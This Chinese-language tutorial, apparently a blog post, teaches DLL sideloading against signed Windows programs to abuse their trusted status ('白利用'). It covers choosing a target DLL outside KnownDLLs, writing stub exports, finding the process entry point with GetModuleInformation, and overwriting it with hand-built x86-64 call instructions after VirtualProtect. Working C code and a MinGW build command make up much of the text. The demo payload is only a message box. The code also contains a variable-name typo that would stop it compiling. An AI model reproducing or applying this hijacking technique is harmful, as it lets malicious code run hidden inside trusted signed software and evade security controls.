TLDR

这是一篇教读者使用 GetModuleInformation() 获取进程入口点,并向入口点地址写入精心构造的二进制指令,从而劫持目标程序入口点,实现白利用的教程。

本教程使用 MinGW-w64 工具链,目标平台是 Windows(x86-64)。改变构造指令的方式后,也可迁移到其它 Win32 环境内。

注意:被劫持的进程 不会 执行原有的代码。

前置知识

寻找目标程序

合适的目标程序需要在导入表(Import table)内定义至少一个条件合适的 DLL,即:

  • (Windows 7 以后)该 DLL 不在注册表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 项目之列。
  • 该 DLL 对外暴露若干 C 函数(不以 @ 开头)。
  • 程序加载该 DLL 的时候会调用其 DllMain()

DLL 之所以需要出现在导入表中,是因为这些 DLL 会在控制流到达程序入口点之前加载,它们的 DllMain 也会在程序执行前执行。

如果读者的目标是「白利用」,目标程序最好带有有效的数字签名。

CFF Explorerobjdump -x 都可以查看可执行文件的导入表和导出表。

制作占位 DLL

AheadLib 可以方便的生成伪造 DLL 的代码,并把所有调用转发到真实的 DLL 中。利用 jmp 指令跳转到真实函数后,函数调用的栈平衡问题也迎刃而解。

本篇教程要制作的东西是「提线木偶」,不需要逐一转发调用。此情景下的栈平衡问题也很好解决:只要函数不返回,栈平衡问题就不会出现。

#define ENTRY(name) \
__declspec(dllexport) void name() { while (1) { Sleep(30000); } }

ENTRY(D3D11CreateDevice)

寻找入口点

PSAPI 中的 GetModuleInformation() 不仅可以传入 hModule 获取模块信息,也可以获取所在进程本身的信息。当 hModule 为 NULL 时,GetModuleInformation() 会返回进程本身(或称可执行程序映像本身)的模块信息。

GetModuleInfomation 的结果包含我们需要的入口点地址。

void* getEntryPoint() {
    MODULEINFO modInfo;
    BOOL res;
    res = GetModuleInformation(
        GetCurrentProcess(),
        NULL,
        &modInfo,
        sizeof(modInfo)
    );
    if (!res) return NULL;
    return modInfo.EntryPoint;
}

作者是怎么知道这些的呢?Kooi 告诉作者的(逃)。

劫持入口点控制流

向入口点写入一串跳转(或调用)指令,跳转到我们定义的函数里,就能劫持入口点了。构造指令的方式相对简单:使用 x86-64 的间接调用(或间接跳转)指令,跳转到我们定义的函数开头即可。

找到构造方式并不难:查阅 x86-64 汇编手册,或使用 GCC 内联汇编并观察输出结果均可。

注意使用 VirtualProtect() 令入口点可写,指令序列写入后再恢复原有保护状态(通常是 PAGE_EXECUTE_READ)。

#include <windows.h>
#include <string.h>
#include <psapi.h>
#include <stdint.h>

__declspec(dllexport)
void ourFunction() {
    MessageBox(NULL, "Hello world!", "Hello", MB_OK);
}

uint64_t pfnOurFunction;

__declspec(dllexport)
void hijackModule() {
    MODULEINFO modInfo;
    BOOL res;
    res = GetModuleInformation(
            GetCurrentProcess(),
            NULL,
            &modInfo,
            sizeof(modInfo)
    );
    if (!res) return;
    void* entryPoint = modInfo.EntryPoint;
    uint8_t codes[] = {
        // movabsq $0,%rax
        0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        // callq *%rax
        0xff, 0xd0,
        // retq
        0xc3,
        // nop
        0x90, 0x90, 0x90
    };
    pfnOurFunction = (uint64_t)ourFunction;
    memcpy(codes+2, &pfnOurFunction, sizeof(pfnOurFuncion));

    DWORD oldProtect;
    VirtualProtect(entryPoint, sizeof(codes), PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(entryPoint, &codes, sizeof(codes));

    VirtualProtect(entryPoint, sizeof(codes), PAGE_EXECUTE_READ, &oldProtect);
}

控制流进入程序入口点时,剩余的栈空间可能相当紧张。此时可考虑在 ourFunction 内执行 while (1) Sleep(1000); 死循环,并另行启动新线程执行代码。

使用 MinGW-w64 编译

x86_64-w64-mingw32-gcc-win32 yourcode.c -o yourcode.dll -shared -DWIN32_LEAN_AND_MEAN -lpsapi

-DWIN32_LEAN_AND_MEAN 可以避免引入不常用的头文件(如 MFC 等)。尝试劫持 winmm.dll 等 DLL 时,该选项必须启用。

如果读者希望这些代码在 Windows 7 及更早版本的 Windows 上正常运作,编译选项还需增加 -DPSAPI_VERSION=1。详见 GetModuleInformation#Remarks